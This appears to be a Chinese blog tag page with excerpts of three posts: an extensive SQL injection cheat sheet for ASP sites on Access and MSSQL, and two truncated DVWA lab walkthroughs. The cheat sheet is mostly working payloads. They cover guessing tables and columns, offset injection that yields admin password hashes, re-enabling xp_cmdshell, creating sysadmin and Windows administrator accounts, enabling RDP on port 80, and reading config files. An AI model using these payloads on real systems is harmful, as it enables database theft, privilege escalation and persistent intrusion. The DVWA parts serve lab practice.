Tag:sql injection

Tag (sql injection)'s result:

各类SQL注入大整理(持续更新)

各类SQL injection 整理 —LSA ASP+access:  ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects(逐字猜解/联合查询) 1.判断: 用’            ; 用 and 1=1    and 1=2 判断数据库: http://xxx/2j.asp?id=24 and (select count(*) from sysobjects)>0 http://xxx/2j.asp?id=24 and (select count(*) from msysobjects)>0 若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常 2、猜表名 [1]and 0<>(select count(*) from admin) —判断是否存在admin这张表,返回正确存在 ———— [2]and exists (select * from 表名) ———– [3] union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,爆出显位  //联合查询 3.猜帐号数目/字段数目 and 0<(select count(*) from admin)   //0、1、2、3……. order by 4.猜解字段名称 and 1=(select count(*) from admin where len(name)>0) 用户字段名称 and 1=(select count(*) from admin where len(password)>0) 密码字段名称 ———– [2] and exists (select 字段 from 表名) ———– [3] http://xxx/2j.asp?id=24 and (select count(password) from article_admin)>0 5.猜解各个字段的长度 猜解长度就是把 and 1=(select count(*) from admin where len(*)>0)   //>1/2/3/4 ————- [2] and (select top 1 len(列名)from 表名)>1   //大于6正确,大于7错误,就是7 因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用: select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名) 6.猜解字符 and 1=(select count(*) from admin where left(name,1)=’a’)  —猜解用户 and 1=(select count(*) from admin where left(password,1)=’a’)—猜密码   // 1的位置就是你要猜解的字符的位置. and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位 ———– [2] and (select asc(mid(列名,1,1)) from 表名)=ascii的值 ———- [3] http://xxx/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97 返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a ———- [4]union select1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin  //联合查询 (access偏移注入: *所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。 为了让语句正确,用*来加长字段数: http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错) http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确) 此时就发现了admin表下有四个字段(20-16=4) .inner join 连接查询: ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。) 首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。 继续, http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id) http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id) 上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。 再次使用inner join查询: http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 页面返回正确,成功得到md5密码。 ) ================================================= ASP+SQLserver:   对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了 1、判断注入点 传入参数为数字型时: and 1=1 and 1=2 传入参数不为数字型时,需要变动一下 比如: asp?id=aeo’ and ‘1’=’1 asp?id=aeo’ and ‘1’=’2 其实只要两次返回页面不同,基本上都是可以注入的 检测是否为SA权限 and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) 检测是否为DB权限 and 1=(Select IS_MEMBER(‘db_owner’)) and 1= (Select HAS_DBACCESS(‘master’))   //判断是否有库读取权限 ;declare @d int   //是否支持多行 xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交: http://www.****.org/newshowlistgo_new.asp?id=5′ and 1=(select count(*) from master.dbo.sysobjects where xtype =’x’ and name = ‘xp_cmdshell’)– http://www.****.org/newshowlistgo_new.asp?id=5′;exec master.dbo.addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’– 返回结果正常就是恢复成功。否则需上传xplog70.dll后执行: ‘:exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’c:inetputwebxplog70.dll’;– 2、判断数据库类型 [1]And user>0   //asp+access也能用! user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,abc正是变量user的值 ———— [2]Sysobjects是SQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。 那么就可以输入 and (select count(*) from sysobjects)>0 或 and (select count(*) from msysobjects)>0 这两句随便输入一句即可判断。   //同asp+access ———– [3] 在注入点后加上: ;– 一个分号两个横线,如果页面返回正常的话,说明数据库是MSSQL,因为在MSSQL数据库里,;和–都是存在的,”;” 用来分离两个语句,而”–“就是注释符,在它后面的语句都不执行,而ACCESS数据库里没有。 and 1=(select name from master.dbo.sysdatabases where dbid=1)   //暴库名DBID为1,2,3…… ;declare @d int //是否支持多行 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在 and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除 3、猜表名 同asp+access ————– [2]猜第一个表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 )>0 猜其他表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(‘admin’))>0 ————– [3]第一张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’ 第二张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’) 4、猜字段 同asp+access ————- [2]and (Select Top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 5、猜内容 同asp+access ————— exec master.dbo.xp_dirtree ‘c:\’;  遍历目录 exec master.dbo.xp_availablemedia;– 获得当前所有驱动器 exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表 exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构 exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容 6、其他 添加和删除一个SA权限的用户test:(需要SA权限) exec master.dbo.sp_addlogin test,password exec master.dbo.sp_addsrvrolemember test,sysadmin   停掉或激活某个服务。 (需要SA权限) exec master..xp_servicecontrol ‘stop’,’schedule’ exec master..xp_servicecontrol ‘start’,’schedule’   暴网站目录 create table labeng(lala nvarchar(255), id int) DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)   DOS下开3389 并修改端口号 sc config termservice start= auto net start termservice   //允许外连 reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f   //该3389端口到80 reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f   sqlserver 存储扩展应用 建立系统用户: net user username pass /add 系统提权 net localgroup administrators username /add 打开3389 reg add “hklm\System\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d “0” /f 建立数据库用户: ;exec master..sp_addlogin user,pass;– 数据库提权: ;exec master..sp_addsrvrolemember aa,sysadmin;–   xp_cmdshell应用 建立系统用户 ;exec master..xp_cmdshell “net user bb bb /add”– 防止xp_cmdshell: ;exec master..sp_dropextendedproc ‘xp_cmdshell’ 恢复xp_cmdshell ;exec master..sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’ 彻底防溢出 c:\windows\system32\cmd.exe 删除所有默认权限. 添加administrator–完全控制   更改sa密码……

dvwa1.9之SQL injection(blind)

low: 关键源码: $id = $_GET[ ‘id’ ]; // Check database $getid = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; $result = mysql_query( $getid ); // Removed ‘or die’ to suppress mysql errors 1.判断: 输入:1′ and 1=1;# 显示:User ID exists in the database. 输入:1′ and 1=2;# 显示:User ID is MISSING from the database. 可得是字符型注入 2.猜解当前数据库信息: 判断数据库长度: 输入:1′ and length(database())=1;# 显示:User ID is MISSING from the database. 输入: 显示:User ID exists in the database. 数据库名长度16. 猜解库名: 输入:1′ and ascii(substr(databse(),1,1))>97;# 显示:User ID is MISSING from the database. 输入:1′ and ascii(substr(databse(),1,1))<117;# 显示:User ID exists in the database. 就这样用二分法一直猜出库名。 3.猜表名: 输入:1′ and (select count (table_name) from information_schema.tables where table_schema=database() )=2;# 显示:User ID exists in the database. 可得数据库有2张表 输入:1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9;# 显示:User ID exists in the database. 可得第一张表名长度9 输入:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103;# 显示:User ID is MISSING from the database. 输入:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103;# 显示:User ID is MISSING from the database. 可得第一张表名第一个字符为g,继而可得表名。 4.猜字段信息 输入:1’ and (select……

dvwa1.9之SQL injection

low: 关键源码: $id = $_REQUEST[ ‘id’ ]; // Check database $query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; 没有任何过滤,并且是字符型注入,但是源码一般是看不了的,所以要进行测试判断是什么类型。 (1)判断注入类型 尝试:1 or 1=1;# 返回: ID: 1 or 1=1;# First name: admin Surname: admin 尝试:1′ or 1=1;# 返回: ID: 1′ or 1=1;# First name: admin Surname: admin ID: 1′ or 1=1;# First name: Gordon Surname: Brown ID: 1′ or 1=1;# First name: Hack Surname: Me ID: 1′ or 1=1;# First name: Pablo Surname: Picasso ID: 1′ or 1=1;# First name: Bob Surname: Smith 字符型注入。 (2)判断列数(字段数) 尝试:1′ order by 2;# 返回: ID: 1′ order by 2;# First name: admin Surname: admin 尝试:1′ order by 3;# 返回: Unknown column ‘3’ in ‘order clause’ 列数 2 (3)曝显示位 尝试:1′ union select 1,2;# 返回: ID: 1′ union select 1,2;# First name: admin Surname: admin ID: 1′ union select 1,2;# First name: 1 Surname: 2 利用显示位查询数据库信息和当前用户: 尝试:1′ union select database(),current_user();# 返回: ID: 1′ union select database(),current_user();# First name: admin Surname: admin ID: 1′ union select database(),current_user();# First name: nhbgtfzt_othpene Surname: nhbgtfzt_lsa@localhost (4)查询所有的表 由于mysql>5,所以可以利用information_schema。 尝试:1′……